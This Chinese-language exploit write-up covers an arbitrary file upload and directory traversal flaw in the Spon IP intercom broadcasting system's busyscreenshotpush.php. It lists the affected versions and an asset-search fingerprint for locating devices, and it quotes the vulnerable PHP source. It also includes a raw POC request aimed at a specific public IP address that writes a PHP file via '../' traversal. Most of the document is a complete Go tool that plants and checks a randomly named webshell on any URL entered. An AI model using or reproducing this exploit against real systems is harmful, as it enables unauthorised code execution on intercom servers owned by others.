世邦 IP 网络对讲广播系统任意文件上传
漏洞描述
Spon Intercom Broadcasting System 是世邦通信股份有限公司的一个对讲广播系统。
busyscreenshotpush.php 文件 存在目录穿越以及任意文件上传漏洞。
影响范围
V1.0.13_20190314_RELEASE
V2.0.1_20190822_RELEASE - V2.0.5_20200308_RELEASE
V3.0.1_20200818_RELEASE(STD) - V3.0.5_20210509_RELEASE(STD)
资产测绘
icon_hash="-1830859634"
漏洞复现
登录界面
busyscreenshotpush.php
<?php
$postData = $_POST['jsondata'];
$arr['res'] = 0;
$arr['errors'] = "undefine";
$arr['result'] = "";
$caller = "";
$callee = "";
$imagename = "";
$imagecontent = "";
if (isset($postData['caller']))
{
$caller = $postData['caller'];
}
if (isset($postData['callee']))
{
$callee = $postData['callee'];
}
if (isset($postData['imagename']))
{
$imagename = $postData['imagename'];
}
if (isset($postData['imagecontent']))
{
$imagecontent = $postData['imagecontent'];
}
if ($caller != "" && $callee != "" && $imagename != "" && $imagecontent != "")
{
$imagenamevalues = explode('_', $imagename);
if (count($imagenamevalues) == 3)
{
$uploaddir = "../../../Uploadtmp/busyscreenshot/".$callee;
if (!is_dir($uploaddir)) mkdir($uploaddir,0777,true);
$imagefile = $uploaddir."/".$imagename;
$content = trim($imagecontent);
if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $content, $result))
{
if ( file_put_contents($imagefile, base64_decode(str_replace($result[1], '', $content))) )
{
$imagefilesize = filesize($imagefile);
if ( $imagefilesize > 0)
{
$arr['res'] = 1;
$arr['errors'] = "upload ".$imagename." success!";
}
else
{
$arr['res'] = -1;
$arr['errors'] = "upload ".$imagename." filesize is ".$imagefilesize.", failed!";
}
}
else
{
$arr['res'] = -2;
$arr['errors'] = "file_put_contents ".$imagename." failed!";
}
}
else
{
if ( file_put_contents($imagefile, base64_decode($content)) )
{
$imagefilesize = filesize($imagefile);
if ( $imagefilesize > 0)
{
$arr['res'] = 1;
$arr['errors'] = "upload ".$imagename." success!";
}
else
{
$arr['res'] = -1;
$arr['errors'] = "upload ".$imagename." filesize is ".$imagefilesize.", failed!";
}
}
else
{
$arr['res'] = -2;
$arr['errors'] = "file_put_contents ".$imagename." failed!";
}
}
}
else
{
$arr['res'] = -3;
$arr['errors'] = "imagename: (".$imagename.") is illegal format, failed!";
}
}
else
{
$arr['res'] = 0;
$arr['errors'] = "please input caller($caller), callee($callee), imagename($imagename) and imagecontent!";
}
echo "{\"res\":\"".$arr['res']."\"".$arr['result'].",\"errors\":\"".$arr['errors']."\"}";
?>
busyscreenshotpush.php 接收 4 个参数,且 4 个参数不能为空
$imagenamevalues 将 $imagename 以 _ 分割,分割后数组长度必须等于 3,因此 $imagename 应该为 1_1_1.php
这种格式
$uploaddir 为上传路径,拼接了 $callee 且无任何过滤,因此可以利用 ../ 回溯符号穿越路径
$content 为 base64 编码的文件内容,无论是否满足正则表达式的匹配规则,最终都会调用 PHP 内置函数 file_put_contents 进行文件写入操作
POC
POST /php/busyscreenshotpush.php HTTP/1.1
Host: 171.221.202.31:7006
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 149
Origin: http://171.221.202.31:7006
Connection: close
Referer: http://171.221.202.31:7006/html/userlist.html?t=0.42263095114776184
jsondata%5Bcaller%5D=1&jsondata%5Bcallee%5D=../../Wnmp/WWW/php/&jsondata%5Bimagename%5D=1_1_1.php&jsondata%5Bimagecontent%5D=PD9waHAgcGhwaW5mbygpOw==
数据包中起到作用的只有后面 3 个参数,caller 没有进行任何处理,可以为任意非空值
访问路径 /php/1_1_1.php 验证
POC&EXP
package main
import (
"bytes"
"crypto/tls"
"fmt"
"math/rand"
"net/http"
"strings"
"time"
)
const (
colorRed = "\033[31m"
colorGreen = "\033[32m"
colorBlue = "\033[34m"
colorReset = "\033[0m"
)
func poc(url string) bool {
path := "/php/busyscreenshotpush.php"
shell_name := generateRandomFileName()
payload := fmt.Sprintf("jsondata%%5Bcaller%%5D=1&jsondata%%5Bcallee%%5D=../../Wnmp/WWW/php/&jsondata%%5Bimagename%%5D=%s&jsondata%%5Bimagecontent%%5D=PD9waHAgcGhwaW5mbygpOw==", shell_name)
vulnerable := false
vulnUrl := url + path
client := &http.Client{Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}}
resp, err := client.Post(vulnUrl, "application/x-www-form-urlencoded", strings.NewReader(payload))
checkError(err)
defer resp.Body.Close()
checkUrl := url + "/php/" + shell_name
resp2, err := client.Post(checkUrl, "application/x-www-form-urlencoded", strings.NewReader(payload))
checkError(err)
defer resp.Body.Close()
// 读取并输出响应体
responseBody := new(bytes.Buffer)
_, err = responseBody.ReadFrom(resp2.Body)
checkError(err)
if resp2.StatusCode == 200 && strings.Contains(responseBody.String(), "PHP Version") {
fmt.Printf("\nwebshell: %s, code: %d\n", checkUrl, resp2.StatusCode)
vulnerable = true
}
return vulnerable
}
// 生成随机文件名,格式为 *_*_*.php
func generateRandomFileName() string {
rand.Seed(time.Now().UnixNano())
// 定义可能的字符
chars := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
// 生成随机部分
generateRandomPart := func(length int) string {
part := make([]byte, length)
for i := 0; i < length; i++ {
part[i] = chars[rand.Intn(len(chars))]
}
return string(part)
}
// 生成三个随机部分,每部分长度为随机值
part1 := generateRandomPart(rand.Intn(5) + 1)
part2 := generateRandomPart(rand.Intn(5) + 1)
part3 := generateRandomPart(rand.Intn(5) + 1)
// 组合生成的文件名
fileName := fmt.Sprintf("%s_%s_%s.php", part1, part2, part3)
return fileName
}
func checkError(err error) bool {
if err != nil {
fmt.Printf("%s[error] %s%s\n\n", colorRed, err, colorReset)
return true
}
return false
}
func main() {
fmt.Printf("\n%s世邦 IP 网络对讲广播系统任意文件上传%s\n\n", colorBlue, colorReset)
fmt.Print("url > ")
var url string
fmt.Scanln(&url)
vulnerable := poc(url)
if vulnerable {
fmt.Printf("\n%s[+] %s 存在漏洞%s\n\n", colorGreen, url, colorReset)
} else {
fmt.Printf("\n%s[-] %s 不存在漏洞%s\n\n", colorRed, url, colorReset)
}
}
运行效果